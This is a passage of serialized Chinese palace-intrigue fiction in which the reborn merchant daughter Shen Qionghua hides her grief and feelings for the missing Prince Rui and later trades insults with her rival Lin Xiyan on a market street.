方才只顾着着急沈琼华,林婉茹顾不得问晕倒的缘由,洛希瑶也没有主动说明。 如今沈琼华醒了,洛希瑶想了想,还是让沈琼华自己说。 看看到底要不要如实说。 毕竟在她以往的印象中,沈家伯母着实是娇弱了些。 洛希瑶觉着她若是知晓发生了什么事情,只怕也要晕过去。 殊不知洛希瑶担心的正是沈琼华所担忧的。 沈琼华看着哭得分外伤心的母亲,到嘴的话顿时咽了回去。 之前她告诉阿娘要支持瑞王夺储的时候,阿娘就吓得脸色苍白。 如今与安王一党斗到此等地步,瑞王重伤失踪,下落不明,若是让阿娘知晓了,只怕是顷刻间就要晕过去。 思及此,沈琼华扯了扯苍白的唇道:“阿娘,我无事,就是这段时间盘账太累了,休息一段时间就好了,您不必担心。” “真的?”林婉茹轻声问道。 “自然是真的,我还能骗你不成?”沈琼华道。 林婉茹心思很是简单,沈琼华这样说,她就信了,顿时就止住了泪,道:“你这孩子,银子是挣不完的,身体才最重要。” 沈琼华乖顺的点点头,道:“阿娘说的是,眼下我已无事,便让阿逸陪着您回去休息吧。” “我还有些事情与平宁郡主商谈,等谈完了,我也好早些歇息。” 林婉茹听见沈琼华这样说,生怕打扰了沈琼华休息,急慌慌地就要走。 沈逸一副欲言又止的模样。 沈琼华捏着他的脸道:“阿逸,好好陪着阿娘,不要让她操心。” 她这样说,沈逸顿时明白了她的意思,重重地点了一下头,跟着林婉茹而去。 林婉茹和沈逸一走,洛希瑶就坐不住了,“琼华,表哥失踪,你再是伤心担忧也要顾及身体啊。” “若是表哥回不来了,你又出了事,你让沈伯母和阿逸怎么办?” “王爷不会回不来的。”沈琼华道。 第三百三十二章世事无常,莫要失去才后悔 “什么?”洛希瑶眼睛突然一亮,“琼华,你是不是知道什么?” “难道这是你与表哥一同策划的计谋?” 之前许多事情,沈琼华都表现得运筹帷幄,令洛希瑶对她分外信赖。 如今见她突然这样说,洛希瑶便下意识以为这又是为了对付安王的诡计而设下的计策,瑞王其实并未重伤失踪。 可惜,洛希瑶此次注定要失望了。 沈琼华摇了摇头,垂下眼帘。 单薄的白色寝衣衬得她苍白的小脸愈发白了,整个人都透着一股弱柳扶风之感,像是易碎的瓷器一般,轻轻一碰就碎了。 嘶哑的声音里带着几分颤抖,“不是,但我相信王爷,他一定会平安回来的。” 他说过他会早日得胜归来的。 他还没有坐上储君之位,也还没有完成对她的承诺,安王和永宁伯一家还活得好好的。 他怎么能死? 他怎么敢死! 她为了和他一起对付安王一党付出了那么多时间与金钱,他若是敢让她竹篮打水一场空,她不会放过他的。 他即便是成了鬼,她也要找能人将他的鬼魂揪出来,将账一笔一笔讨回来! 洛希瑶听到沈琼华否定的话,刚刚才亮起的眸子瞬间又熄灭了。 她察觉到沈琼华的状态有些不对,心中担忧,又凑近了一些。 这才发现沈琼华低垂的眸中早已一片猩红。 洛希瑶一惊,慌乱道:“琼华!琼华你怎么了?你别吓我啊!” 沈琼华却并未回答她的话,只是猛地掐住洛希瑶的手,如同攥住了救命稻草一般,执拗地看着她,“王爷会没事的,他一定会平安归来的。” 不同于之前的颤抖,声音中满是笃定。 似是这样就能说服自己一般。 似是这,就是事实。 洛希瑶被这样的沈琼华吓了一跳。 自她认识沈琼华开始,对方就是一个冷静,心思缜密的女子。 无论面对任何事情,她永远都是淡淡的样子,似乎所有的事情都在她的掌控之中。 即便是被人刁难,被人栽赃,她都能冷静分析,从而寻找出最适合的解决方法。 面对永宁伯府觊觎沈家的财产是这样,被安王一党污蔑调换了赈灾银也是这样…… 永远冷静清醒。 何曾见过她这般模样? 洛希瑶又红了眼眶,却也只能顺着沈琼华的话往下说,生怕刺激了她,“对……对,表哥肯定会平安归来的。” “琼华你想啊,表哥他从前打了那么多胜仗,他经验丰富,武功又高强,怎么可能那么容易就死了,至于重伤失踪……” “说不定是他伤太重了,被好心人收留了,需要养伤,一时半会回不去,这才耽搁了,说不定……” “说不定表哥现在已经回到军营了,只不过消息延误,传到京城快马加鞭也要好几日的时间……” “你可一定要振作起来啊,你若是倒下了,岂不是让亲者痛仇者快!” 最后一句话落下,沈琼华猛地看向洛希瑶,眼眶里的猩红还未散去。 “希瑶,你说的对,我决不能乱,我若是一蹶不振,露出了什么破绽让人钻了空子,安王一党必定会顺势反扑。” “王爷不在京城,我一定会拼尽全力守住当前的一切,维持好局面。” “这样,等他从边关凯旋而归,我们才能继续之前的计划。” “更何况,谢南渊那么狡猾,没有那么容易死的。” 她嘴上喋喋不休的说着,眼神却有些空洞,也不知道是在说给洛希瑶听的,还是说给她自己听的。 洛希瑶连忙应和道:“琼华,对,你这样想就对了,表哥没有在京城,我们要守住这好不容易打下的局面,决不能如了安王一党的意。” 沈琼华不住地点头,神色间已经冷静了下来。 她还不能倒下,阿娘和阿逸还需要她,沈家也还需要她,还有镇国公府…… 她决不能让谢南渊回来之后面对一个背上通敌叛国罪名的镇国公府! 也决不能让洛希瑶落得上一世一样的下场。 沈琼华冷静下来后,眼眶的猩红也渐渐褪去。 心中也明白事已至此,京城与边关相距千里,即便是她们想要帮忙找人,也不现实,只能寄希望于镇国公。 更何况,洛希瑶此刻心中的悲伤只怕不比她少。 思及此,沈琼华出言安抚了洛希瑶。 洛希瑶原本就是强撑着的,此刻见沈琼华已经恢复了平时的冷静,有人依靠了,便又开始掉眼泪。 沈琼华自然又是好一顿劝慰,将人哄好后,面上忍不住带上些许疲态。 沈琼华虽然昏迷了一天一夜,但却没有丝毫休息的感觉,如今又一番折腾,是真的有些累了。 洛希瑶自然也看出了她眉眼间带着的倦意,又说了些让她宽心的话,便起身告辞了。 沈琼华还想起身相送,被洛希瑶给按了回去。 沈琼华只能让芍药替她将洛希瑶好好送出府。 洛希瑶缓缓向屋门走去,丫鬟将门帘掀开,在即将跨出门槛的那一刻,洛希瑶停住了脚步。 她眼底闪过一抹挣扎,随后微微侧头道:“琼华?” “嗯?”沈琼华抬头去看她。 日光透过掀起门帘的一角照映在洛希瑶的侧脸上,她的身后是皑皑白雪。 沈琼华听见她开口道:“你真的没有对表哥动心吗?” “若今日只是一个合作伙伴生死不明,你也会像现在一样伤心到昏厥吗?” 说完,洛希瑶便走了出去。 她说这句话没有别的意思,只是希望琼华能正视自己的心意。 同为女子,她自然能够看出琼华对表哥并非没有动心,只是…… 不知道为何,心有顾虑,不肯承认,甚至在竭力抑制。 难道是因为身份的差距吗? 可是表哥并没有因沈家是商户就对琼华轻视,而琼华也并非像是会自卑的人。 更何况沈家帮助朝廷良多,琼华还被封为了县主。 那到底是什么原因呢? 洛希瑶不清楚。 也不好问。 她只是想提醒琼华。 世事无常,莫要等失去了才后悔。 希望若是表哥能平安归来,琼华能亲口告诉他答案。 厚重的门帘缓缓放下,沈琼华浑身僵硬地躺在床榻之上。 半晌之后才放松身体,头缓缓低垂,一滴晶莹的泪落在红色的被褥之上,留下一道暗红色的印子。 寂静的屋内响起了一道飘渺的声音,“自然不会……” 第三百三十三章余生太长,人心易变 情绪可以压制,但身体的反应是骗不了人的。 若真是一个普通的合作伙伴生死不明,她会担心,会着急,会派人去寻找,却绝不会伤心到昏厥。 甚至在醒来的第一时间,她都感觉自己是做了个梦。 沈琼华原本其他人更加清楚的察觉到了自己的情感。 是从什么时候开始的呢? 沈琼华也不知晓。 反正当她察觉到时,已经是谢南渊向她坦明心意之后了。 那时她发现谢南渊跟个浪荡子一样潜入她的闺房,便想要给谢南渊一个教训。 于是向裴凉川买了迷药狠狠捉弄了谢南渊一番,并且勒令他不许进她的闺房。 之后更是躲了他好一段时间。 谢南渊说她是做了亏心事故意在躲着他。 事实也确实是如此,但更多的,是掩饰自己的慌乱。 重生而来,她一直秉持着小心谨慎的态度,生怕行差踏错一步,便步了上一世的后尘。 所以在戏弄谢南渊过后,高兴畅快的同时,她意识到了一件很严重的事情。 她与谢南渊虽说是合作关系,但却是谢南渊为主,她为辅。 因着身份的原因,谢南渊在这段合作关系中占据着天然的优势。 即便她有自己傲骨,不向谢南渊谄媚,也不该如那晚一样,竟敢大着胆子给谢南渊下药,用绳子捆绑他,甚至还让一个淸倌儿去调戏他。 这绝不是她该干出来的事。 即便是她气恼谢南渊不经她允许便闯入她的闺房,碍于身份,她的理智也不会允许她做出这种胆大包天的事情。 能做出这种事情,就代表她已经没有将谢南渊看做王爷,甚至是一个普通的合作伙伴看待了。 当时她想到这一点,惊出了一身冷汗。 虽然谢南渊对她坦白了心意,但沈琼华并不觉得二人有结果。 即便是有,也不会是好的结果。 她相信谢南渊的人品,不然也不会找他合作,也相信谢南渊此刻说的喜欢她是真心的。 但过往的记忆和惨痛的经历告诉她,二人身份相差太大,不是良配。 即便是她被册封为了嘉林县主,她与他的身份都是不相配的。 更何况,他的未来不仅仅是一个王爷,很可能是万人之上的帝王。 那样就更不相配了。 谢南渊喜欢她,但这喜欢又能持续多久呢? 余生太长,人心易变。 如今他尚能借助谢南渊的力量来打压安王,令沈家脱离被算计的命运。 那将来呢? 若是将来谢南渊坐上那个位置后变了。 沈家太过弱小,她又能借助谁的力量逃离谢南渊呢? 说她杞人忧天也好,说她一朝被蛇咬十年怕井绳也罢,总之沈琼华赌不起,也不愿意赌。 若是赌输了,谁能保证她还能再来一世? 既然不赌。 那就要管好自己的心,退回至安全距离。 待谢南渊登上皇位之后,了解了一切的事情,天地之大,她手中握着财富,哪儿不能去? 何必拘泥于一方之地! 她躲避着不肯正视自己的心,可谢南渊却步步紧逼,不允许自己拒绝他的靠近。 感情这种事情想来是由不得自己的,若是感情能由着心意调配,这事情也不会有那么多痴男怨女了。 即便是她再理智的告诉自己要保持距离。 可是听到他要出征的那一刻,心还是乱了。 此番与之前的其他事情都不同。 之前的事情她知晓事态发展,自然能做部署。 但打仗一事她确实无从下手,更何况谢南渊还是接安王的手。 能不能平安回来,是个未知数。 她有些害怕,有些担忧,所以在谢南渊在出征前来沈府时,给予的那个拥抱,她最终没有推开他。 甚至不断的在心里说服自己,这只是一个朋友间的拥抱。 只一次,就这一次。 等他平安归来,她定不会再与他相拥。 后来更是睁眼到天明,与希瑶一同上城楼去从他出征。 还头脑一热,喊出了那句话。 事后被希瑶调笑时还矢口否认,努力掩盖自己的心意。 她在京城时刻盯着安王一党的动静,提醒希瑶小心镇国公府的书房,让裴凉川去买粮在紧急之时送往边关,真的只是因为合作吗? 也许一半都是有私心的吧。 她与希瑶交好,所以不希望镇国公府出事。 镇国公手握兵权,是谢南渊的后盾,所以她必须保住镇国公府,避开上一世覆灭的命运。 还有一点呢? 她不敢承认。 她知道镇国公对于谢南渊的意义,所以镇国公决不能死。 她不管是对谢南渊还是洛希瑶,都嘴硬。 死死捂住自己的心。 可是有什么用呢? 现在谢南渊一出事,还不是都暴露了。 经此一事,即便是谢南渊平安回来了,她的理智仍旧告诉她,她要远离他。 可是她的行为还能跟着她的理智走吗? 沈琼华不知道。 她真的不知道。 她需要好好想一想。 她好累。 真的很累。 沈琼华慢慢躺了下去。 芍药送完了洛希瑶,掀开门帘进来便看见沈琼华已经躺下了。 芍药有些担忧地上前,劝道:“小姐,您一天一夜未曾进食了。” “奴婢让厨房的人准备了粥,您喝一点再歇息吧。” 见床上的人迟迟没有反应,芍药轻声道:“小姐?” 良久,沈琼华才出声道:“我先歇一会儿吧,一个时辰后,喊我起来喝。” 现在,她需要好好想一想,想一想沈家的路该怎么走。 想一想,若是谢南渊迟迟没有消息传回,面对安王一党,她该如何应对。 如何保住镇国公府与沈家。 芍药见沈琼华慢慢闭上了眼睛,只能作罢,将床帐拢了拢,便退了下去。 放下门帘前,芍药听见了床榻上传来的一道几不可闻的叹息。 第三百三十四章 瑞王重伤失踪一事,对于边关战事,亦或是朝堂党争的影响都很大。 这段时间,京城表面上看起来风平浪静,实则却暗潮汹涌。 即便是谢祁安明面上要装个样子给皇上看,拒绝了许多大臣的拜帖。 可就据沈琼华查到的消息,谢祁安私下里事后可没少与那些大臣联络。 洛希瑶这段时间频繁来往皇宫,明面上是向皇后请安,可实际上却是在打听谢南渊的消息。 她始终不相信谢南渊会就这么死了。 她希望有一日她在宫中能够听到谢南渊被寻回的消息。 谢南渊的消息没有听到,倒是遇见了几次五皇子。 要说这宫里除了皇上,谁还真心牵挂着谢南渊。 可能也就五皇子了。 其他人不是漠不关心,事不关己高高挂起,就是期盼着谢南渊早点死,莫要挡了他们的路。 五皇子因记挂着谢南渊而伤心担忧,身边却没有一个能诉说的人,乍然见到洛希瑶,也没有像以往拌嘴的心思。 二人遇上了,便相互安慰几句,之后又打起精神做好自己的事。 也因着时常进宫的缘故,洛希瑶不仅能遇见五皇子,也能遇到她讨厌的安乐公主。 安乐公主是安王的亲妹妹,这段时间安王风头正盛,安乐公主在宫中自然也得意了不少。 于是出宫的次数也多了起来,大多是去找傅琛的。 可是傅琛本就公务繁忙,在加上洛希瑶这段时间心情都不好,他空闲的时间都来陪洛希瑶了,哪有空搭理安乐公主。 再者他只是装傻,又不是真的不知道安乐公主对他的心思,躲都还不急,哪会傻傻往前凑。 于是安乐公主去找傅琛,十次有九次都见不着人。 安乐公主很郁闷,结果让底下人一打听,傅琛不是外出办公了,而是去镇国公府找洛希瑶了。 安乐公主很生气。 可让她追到镇国公府去找傅琛,这样丢下脸面送到洛希瑶跟前,让其放在地上踩的举动,以安乐公主的傲气是绝对不可能的。 安乐公主憋了一肚子的火,在宫里遇上洛希瑶的时候,自然就忍不住了。 借着谢南渊重伤失踪的事情,一个劲儿地往洛希瑶的伤口上踩,言语恶毒,表情狰狞。 气得洛希瑶几次想上前撕烂安乐公主那张嘴。 可是她不能。 那是在宫中。 在安乐公主的地界上。 洛希瑶即便是再气,也保持了几分理智。 她知道安乐公主说那些话是故意在激怒她,想要逼她在宫里动手,到时候便可以治她一个以下犯上,藐视皇室公主的罪名。 若是以往,她自然不惧。 安乐虽是皇室公主,但她身为镇国公府唯一的郡主,也有自己的依仗。 若是真闹起来,大不了就是各自领罚,被关禁闭。 换做是以前,关了也就关了,但是现在不行,她还需要打听表哥的消息。 若是真被关了禁闭,不仅打听不了消息,琼华在京城岂不是孤立无援? 万一遇到事情,连一个商量的人都没有。 安王和永宁伯府一家肯定更加变本加厉迫害沈家。 因着这种种原因,洛希瑶一直在忍安乐公主,有时实在是忍无可忍了,出了宫便来沈府,在沈琼华面前将安乐公主好一顿臭骂。 就如同今日一般。 沈琼华坐在沈家花园的石凳上,看着面前叉着腰骂了足有半个时辰的洛希瑶,神色间颇有些无奈。 “你若是这般厌恶她,不如下回避开她走?” 又不能上手打骂,还要听对方说一些诛心之言,还不如眼不见为净,省得气坏了自己的身子。 那日过后,沈琼华以极快的速度调整好了自己的状态。 白日里该吃吃,该喝喝,夜晚按时上榻歇息,调养好自己的身体。 她深知自己不能倒下,若是连她都倒下了,恐怕就真的要任由安王宰割了。 几日的功夫,沈琼华姣好的面颊就恢复了红润的光泽,精神状态也好了不少,一点也看不出来是曾经晕厥过的人。 洛希瑶听到沈琼华的话,整张脸都扭曲了。 “我不避!凭什么要我避开她,搞得是我做了什么对不起她的事情一样,输人不输阵!” “再说了,哪来的那么多巧合,这几日进宫都能遇到她,分明是她故意让人盯着我,知道我进宫了就来我面前秀存在感!” “拿表哥失踪的事情来我面前耀武扬威,仿佛皇上已经下了圣旨立安王为太子了一样!” 沈琼华侧目,“你知道还让她秀?” 洛希瑶冷哼,“那她也没讨到好啊,不也被我气得跳脚。” 沈琼华闻言,稍微思考了一下,便了然道:“你在她面前提了傅公子?” 如今能让安乐公主气得跳脚的,也只有希瑶在安乐公主面前展现她和傅琛感情有多好了。 毕竟安乐公主有多喜欢傅琛,京城里稍微有些权势的都心知肚明。 只是可惜安乐公主是一厢情愿,傅琛喜欢的是希瑶,二人两情相悦。 便是兵部尚书也不想自己的嫡长子尚公主。 本朝律例,驸马不得入朝为官。 傅琛才能出众,一看便知将来有大作为,若是傅琛尚了公主,便要从朝堂中退出来,再无仕途,成为一个伺候安乐公主的男子。 不说傅琛不愿意,兵部尚书显然也不会允许这种事情发生。 洛希瑶见沈琼华这么快便猜出来了,顿时嘿嘿一笑,“知我者,莫若琼华也。” “谁让她总是拿表哥失踪的事情刺我,既然我不好过,那她也别想好过。” “再者,这都是傅琛引来的烂桃花,若不是他,安乐哪会紧咬着我不放。” “我用他来气安乐,也不算欺负了他。” 洛希瑶嘴上这般说着,脸上都是被偏爱的自信。 沈琼华无奈地摇了摇头。 洛希瑶见状,上前挽住她的胳膊,摇晃着道:“琼华,咱们都好久未曾一道逛街了,趁着今日天气好,咱们一道出去走走吧?” “现在这种情况……” 沈琼华有些犹豫,她觉得眼下这种局势,还是老老实实待在府中更为安全。 洛希瑶看出了她的迟疑,道:“走嘛,走嘛,就当时陪我走走,我这段时间憋了一肚子火气,再不消消,我感觉我都快炸了!” 沈琼华不同意,她就一直歪缠。 其实洛希瑶并非想逛街,眼下谢南渊还生死未卜,她担心还来不及,哪有心思逛街。 不过是察觉到沈琼华虽然表面上佯装一副没事的样子,但眉心始终蹙着,显然并非她展现出来的那般坦然,所以才想着拉她出去散散心,免得憋出了什么病来。 沈琼华被她缠得没有办法,想着洛希瑶性格跳脱,可如今天天记挂着边关的事情人都憔悴了不少,陪她出去走走也好。 遂点了点头,答应了。 洛希瑶欢呼。 芍药立刻便告知了马夫,沈琼华要出府的消息。 一刻钟后,沈琼华与洛希瑶便带着各自的婢女坐上了马车。 马车缓缓驶离,朝京城最繁华也是女子们最常去的西大街而去。 第三百三十五章竟敢看她的笑话! 沈家的许多铺子都在西大街,其中收入来源最多的,当属位于西大街中央,最富丽堂皇的珍宝阁。 沈琼华与洛希瑶下了马车,沈琼华便跟洛希瑶说让她喜欢什么随便挑。 这西大街的铺子,都可记沈家的账。 洛希瑶闻言眼睛蹭一下就亮了,摩拳擦掌道:“那感情好啊,你就不怕我将你沈家的钱财都霍霍了?” 沈琼华弯唇一笑,此刻眼里倒真有了几分笑意,道:“你若是能将沈家的钱财都霍霍了,那也是你的本事。” “那我就不客气了。”洛希瑶说着,就拉着沈琼华朝其中一间铺子走去。 嘴上说着不客气,行动上却截然相反。 洛希瑶只逛了两三间铺子便不愿意逛了,空着手出来,说要在外面的小摊上看看。 西大街的小摊,买的东西虽不如铺子里的好,但胜在新奇,价格又便宜,许多女子买到合意的衣裳首饰后都愿意随意看看。 若是有合眼缘的,再将其买下赏玩。 但洛希瑶此番行为显然是不同的,她是不想让沈琼华破费。 她知晓沈琼华的好意,是觉着她上回将首饰买了,想要趁此机会给她挑两样首饰送予她。 但正是这样,她就更不能接受琼华的好意了。 卖掉那些首饰将银子给琼华是她自愿的,也是她应该做的。 若是如今又让琼华给她买首饰,那岂不是一来一回一两银子未出,得了个好名声,还换了新首饰。 那她成什么人了? 再者,她真的不需要首饰,府里还有从前皇上赏给爹的首饰,爹给了她之后都放在库房落灰。 上头打上了宫里的标记,既不能送也不能买的,正好拿来用,她今日头上的簪子就是皇上之前赏赐下来的。 洛希瑶生怕沈琼华不同意,非要给她买首饰,因此松开了沈琼华的手,在街边的摊子上这边看看,那边看看,佯装很有兴趣的样子。 沈琼华见她这副样子,心里叹了一口气。 她与洛希瑶认识这么久了,如何不知晓洛希瑶的想法,有些无奈,却也知道洛希瑶脾气倔,想了想,还是按着她的心意走。 她高兴就成。 便也上前帮着她一道挑选。 二人心里牵挂着边关的事情,面上却笑得一个比一个开心,都不愿意扫了对方的兴。 “琼华,你看这个桃木梳怎么样?” 洛希瑶指着一个桃木梳,询问沈琼华的意见。 沈琼华看了一眼,制作工艺不怎么样,但是上头的图案比较新奇,若是喜欢倒是可以买,反正也不要多少银子。 她点了点头。 洛希瑶欢喜之余便要伸手去拿。 谁知桃木梳没拿到,却与一只手撞到了一起。 “呦,我当谁?原来是平宁郡主与沈小姐啊,竟这般巧在这里遇到了,真是没想到啊!” 手的主人竟是多日未见的林惜颜。 林惜颜始终不愿意在沈琼华一个商户之女面前坠了面子,因此还是称呼沈琼华为沈小姐。 仿佛这样就能表明她比沈琼华要尊贵得多。 洛希瑶没有微蹙,暗道一声晦气。 小声跟沈琼华嘀咕道:“琼华,你的顾虑是对的,咱们今日就不该出来。” 洛希瑶实在是不愿与这位林小姐有什么交集。 无他,这种嚣张无礼又蠢笨的人,多接触一次,她都觉得自己又会被对方给气一回。 她如今已经够遭心的了,实在是不想再跟这种人有什么牵扯。 沈琼华听到洛希瑶的话,颇为赞同地觑了她一眼。 她也不想与林惜颜打交道。 二人四目相对,都明白的对方的意思,装作没看见林惜颜一般转身就要走。 可林惜颜如今因着安王得势正是嚣张的时候,她之前在沈琼华手下吃了不少亏,好不容易如今因着瑞王的事情有了奚落沈琼华的机会,此刻如何肯放沈琼华离开。 她一把攥住了沈琼华的手,尖声道:“哎,沈小姐,你别走啊,话说你们沈家不是有很多银子吗?” “怎么?是都被你败完了吗?竟到这种小摊贩上买东西!” 她话音一落,手就被沈琼华给甩开了。 林惜颜的手被甩在了木板上,有些生疼,她下意识就要开口怒骂,就见沈琼华面无表情地盯着她。 直将她盯得心里发毛,仿佛脸上还残存着那两巴掌的痛意。 待反应过来自己竟被沈琼华一个眼神给镇住后,脸上又是一阵青一阵白。 她怎会怕沈琼华? 但想到瑞王如今生死不明,沈琼华也嚣张不了多久,眼中又染上了几分恶意,唇角微勾,正要开口。 却被洛希瑶抢了先,洛希瑶忍着心里的厌恶道: “林小姐,你有时间在这多管闲事,还不如好好管理好安王的后院。” “之前你与永宁伯府二小姐的矛盾,都闹到宫里去了。” “你这是……发现永宁伯府二小姐的心思了?” 话是洛希瑶说的,但二人的脸上都带着讥讽。 林惜颜的脑子里‘轰’地一声便炸了。 她们……竟然躲在背地里看她的笑话! 第三百三十六章该不该将真相告知? “贱人!你们算什么东西!凭你们也敢看我的笑话!” 林惜颜下意识尖叫,根本就顾不上此话将洛希瑶一起骂了进去。 也可以说是知晓了,但并不在意。 毕竟现如今在她看来,瑞王重伤失踪,定是不可能还活着了。 而没有瑞王的镇国公府又有何惧? 镇国公府如今是势大,但镇国公膝下只有一个女儿,又没有从宗族里过继男嗣继承爵位。 后继无人,无人支撑门楣。 待镇国公无力上战场之后,镇国军的兵权定然还是要归还给皇家的。 若是瑞王将来登基也就罢了,洛希瑶下半辈子自是不用愁。 但瑞王如今生死不明,很大概率已经死了,那么储位便是安王的囊中之物。 而自己是安王的未婚妻,将来的安王妃,甚至是将来的太子妃,还会成为母仪天下的皇后。 没了兵权和依仗的国公府孤女,何至于值得她忌惮? 还敢与沈琼华一起明晃晃嘲笑她! 若是洛希瑶知晓林惜颜心中所想,定是会直呼冤枉。 她可没有明晃晃地嘲笑林惜颜,最多是在背地里乐一乐。 打人不打脸,这个道理她还是懂的。 若不是今日林惜颜又是一副挑事的样子,还对琼华动手动脚,她也不会翻出周令宜的事情警告她。 提醒她若是再不依不饶,没事找事,亦或是口出恶言,就休怪她嘴下不留情面了。 可是很显然,林希颜没有体会得到她的意思,不然也不会再次口吐芬芳了。 沈琼华彻底冷了脸,冷若寒霜的眸子落在林惜颜身上,开口道:“看来过了这么久,林小姐依旧学不会说人话。” “我倒是不知晓林家和安王的权利如此之大,令得林小姐连皇上亲封的郡主林小姐都看不上,如此藐视皇恩……这胆量也着实是让人佩服。” 沈琼华原本心情就不算好,林惜颜却偏偏来招惹。 骂她也就罢了,还骂洛希瑶。 于是张口就给她扣了个藐视皇恩的帽子。 这大庭广众之下,林惜颜即便是再傻也知道不能认下这个罪名,谁知道会不会有人宣传出去。 当即反驳道:“沈琼华你休要信口雌黄卖,本小姐根本没那个意思。” 随后又压低声音道:“沈琼华,你这个贱人,你就是故意的。” “你早就知道周令宜那个不要脸的贱人觊觎安王,一直对安王死缠烂打,却故意只提醒我一次!” “你为什么不多提醒我几次?你眼睁睁看着我被周令宜耍得团团转!心里是不是特别得意?嗯?” “你怎么这么恶毒!” 最后‘恶毒’两个字,林惜颜的面庞都扭曲了。 对于林惜颜来说,她之前与周令宜互撕,虽然闹得大,但却并没有将原因摆到明面上。 京城大多数人家都以为她是与周令宜闹了矛盾才分道扬镳的,并不知晓究其原因在安王身上。 林惜颜也没有脸面说出去,毕竟她之前还在外面跟周令宜如亲姐妹一般同进同出。 若是将撕破脸的原因说出来,被人知晓她被周令宜当傻子耍,她丢不起那个人! 所以在林惜颜的心目中,就只有说过周令宜与安王有染的沈琼华和洛希瑶能猜到。 也就只有这两个人能在背地里看她的笑话。 所以当今日三人撞见时,她才会如疯子一般乱咬,想要先发制人。 更甚至,林惜颜心中其实有些迁怒到了沈琼华与洛希瑶的身上。 认为都是这二人没有多次提醒她,看着她被周令宜耍,才闹到今日这地步,让她做出那么多丢脸的事情。 若是她早知道周令宜的觊觎之心,她根本就不可能与对方相处那么久,甚至还差点被周令宜算计得名声尽毁。 没错,林惜颜这段时间越想,越觉得周令芙死前说的那些话都是真的。 心中后怕的同时,她觉得沈琼华与洛希瑶也是她差点名声尽毁的帮凶。 是她们对不起她! 是她们欠了她的! 沈琼华和洛希瑶听到林惜颜说的话都惊呆了! 洛希瑶震惊的是林惜颜的脑回路,而沈琼华震惊的则是林惜颜话里的信息。 周令宜觊觎安王确实没错。 但要说周令宜对安王死缠烂打? 这二人虽狼狈为奸许久,却也是臭味相投,一个愿打一个愿挨,也算的上是双向奔赴,何来死缠烂打一说? 等等…… 沈琼华突然回忆起这段时间京城里发生的事情。 她一直听闻的都是林惜颜与周令宜针锋相对,大打出手,貌似……好像……并没有听说林惜颜与安王之间闹了什么矛盾? 就连她派去盯安王府的人也没有说这二人之间有什么不愉快。 一直都是她与希瑶下意识以为林惜颜已经知晓了安王与周令宜之间的牵扯。 可如今细想之下,若是林惜颜当真已经明了了,即便她与安王不分开,按照她的脾气,也应该会闹一场才是,起码不会只针对周令宜。 可她显然没有。 那么这其中的原因就令人深思了。 再加上谢祁安为人一贯狡猾,谎话张口就来,丝毫不带心虚的,联合上方才林惜颜话中的意思,沈琼华忽然瞪大了双眼。 该不会…… 谢祁安该不会为了稳住林惜颜,将所有责任都推到周令宜身上,说是周令宜对他死缠烂打有不轨之心,将自己给摘得一干二净吧? 若真是这样这谢祁安可就真是厚颜无耻,太不要脸了! 沈琼华越想越觉得有这种可能。 林惜颜若是知晓谢祁安与周令宜之间有情,怎么样也会顾忌一些谢祁安的想法,投鼠忌器。 最起码不会像前段时间一样闹得那般难看。 只有她发现了这二人之间的关系,在谢祁安的诡辩下,她相信了是周令宜一厢情愿缠着谢祁安,才会行事这般毫无顾忌。 丝毫不给永宁伯府半分面子。 哎呦,要真是这样,那周令宜也太惨了吧。 谢祁安和周令宜上一世两人可是情比金坚,苦苦坚守五年也要在一起。 这一世,没了她的参与,谢祁安为了储位,竟就这样任由林惜颜欺辱周令宜,让她独自去承受林惜颜的报复。 如此看来,这二人的感情也不怎么样。 也对,若是感情真的那么深,谢祁安又怎会一直将安王妃之位当做筹码,让周令宜见不得光呢? 沈琼华的目光落在林惜颜的脸上。 她该不该将真相告知林惜颜呢? 第三百三十七章她凭什么羞愧? 洛希瑶听着林惜颜的那些话,愣是上上下下从头到脚打量了一遍林惜颜。 明明外表看着挺正常的一个人,怎么脑子不好呢? 心中升起一股无名之火,洛希瑶正要开骂,一旁的沈琼华便先开了口。 只见沈琼华斜睨着林惜颜,冷哼一声,道:“林小姐,先不说咱们俩无亲无故,我没有义务提醒你。” “就说你三番四次当众辱骂我,我不火上浇油就不错了。” “你自己蠢,就别把责任怪到别人身上。” “我又不欠你的,提醒了你一次已经算是仁至义尽了,是你自己不相信,怨得了谁?” “再者,不只是我,便是平宁郡主也提醒过你一次,还不是好心当成驴肝肺。” “接连两次,话都说的那么明白了,你查都不查一下,就相信周令宜,如今竟来怪我?指责我?” “你哪来的脸?” “真当你林家是什么顶级世家,高门大户不成,所有人都要顺着你,依着你?” “你也太把你自己,把林家当回事了,也太不要脸了!” 沈琼华这一番话说的毫不留情,却并没有将周令宜与谢祁安之间的真正关系告诉林惜颜。 为什么要告诉她呢? 难道林惜颜知道了还能与谢祁安分道扬镳,让谢祁安失去林家这个助力不成? 不,绝不可能。 先不说林惜颜是喜欢谢祁安的。 就说以林惜颜的家世,谢祁安已经是她所能找到的身份最高的男子了。 尤其是在谢南渊重伤失踪这种敏感的情况下。 面对看似唾手可得的母仪天下的皇后之位。 林惜颜自然舍不得将其丢弃。 即便是林惜颜肯,她背后的林家,林将军也不会肯。 将事情揭开,最多就是使得林惜颜与谢祁安闹一场,而后谢祁安明面上疏远周令宜罢了。 这于她并没有什么好处。 相反,这件事情若是戳破,虽然林惜颜会大闹一场,但闹过之后,谢祁安可能会与林家重新商谈条件,做出一些让步。 一旦商谈妥当,安王府与林家的关系便会更为坚固,再也没有什么能够间隔他们。 既然不能一击即中,那她宁愿不说,就当做什么都不知道,为这段看似坚固,实则已经开始慢慢腐烂的关系盖上一层遮羞布。 至于什么时候捅破,就要看接下来的形势了,说不定将来能给她一个意外之喜呢。 再者,只要她一日不捅破,周令宜便一日见不得光。 要眼睁睁地看着林惜颜与谢祁安相处,不仅不能说什么,还要成日遭受林惜颜的阴阳怪气与报复。 这不比一句捅破来得舒坦? 林惜颜被沈琼华劈头盖脸一顿说,脸蹭地一下便红了。 不是羞的。 是气的。 “你……你竟敢骂我蠢,还不将我林家放在眼里!”林惜颜手指指着沈琼华,气得胸膛剧烈起伏。 她爹乃是正二品大将军,沈家不过是一个商户,沈琼华有什么资格看不起林家? 怒火中烧的林惜颜一生起气来便不管不顾,显然是忘记了之前的教训,竟是又要伸手去打沈琼华。 沈琼华显然就是防着她这一招,林惜颜的手举到一半就被她眼疾手快掐住了。 她就搞不懂了,都说君子动口不动手,这些人怎么一个个都这么喜欢动手呢? 难道是因为说不过她吗? “你放开我,贱人!你放开我!” 林惜颜连沈琼华身上的一根汗毛也没挨到,手还被掐得生疼,气得跳脚,嘴上也就口不择言了起来。 